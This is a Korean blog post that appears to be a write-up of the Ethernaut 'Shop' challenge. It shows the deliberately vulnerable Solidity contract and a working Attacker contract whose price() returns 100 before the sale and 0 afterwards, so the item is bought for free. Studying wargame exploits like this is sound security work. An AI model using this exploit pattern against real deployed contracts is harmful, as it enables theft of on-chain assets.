새소식

인기 검색어

Write Up/Ethernaut

[Ethernaut] Shop

  • -
반응형

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

우리의 mission은 현재 가격보다 낮게 물건을 사야 한다.

현재 물건을 팔리지 않았고 가격은 100 token이다.

이 문제는 Elevator랑 비슷한 문제이다. if문을 보면 _buyer.price()로 먼저 price보다 큰지 확인하고 맞으면 price는 _buyer.price()가 된다.

그럼 price()가 if문에서는 100보다 크고, price에 대입할 때는 100보다 작으면 된다.

contract Attacker{
    
    Shop shop;

    constructor(address _address) public {
        shop = Shop(_address);
    }

    function price() external view returns(uint) {
        return shop.isSold() ? 0 : 100;
    }
    
    function Attack() public {
        shop.buy();
    }
}

Attack을 누른 결과 물건은 팔렸고 가격은 0원으로 공짜로 얻었따!!

반응형

'Write Up > Ethernaut' 카테고리의 다른 글

[Ethernaut] Dex Two  (0) 2023.02.15
[Ethernaut] Dex  (0) 2023.02.15
[Ethernaut] Denial  (0) 2023.02.13
[Ethernaut] Alien Codex  (0) 2023.02.10
[Ethernaut] Recovery  (0) 2023.02.09
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.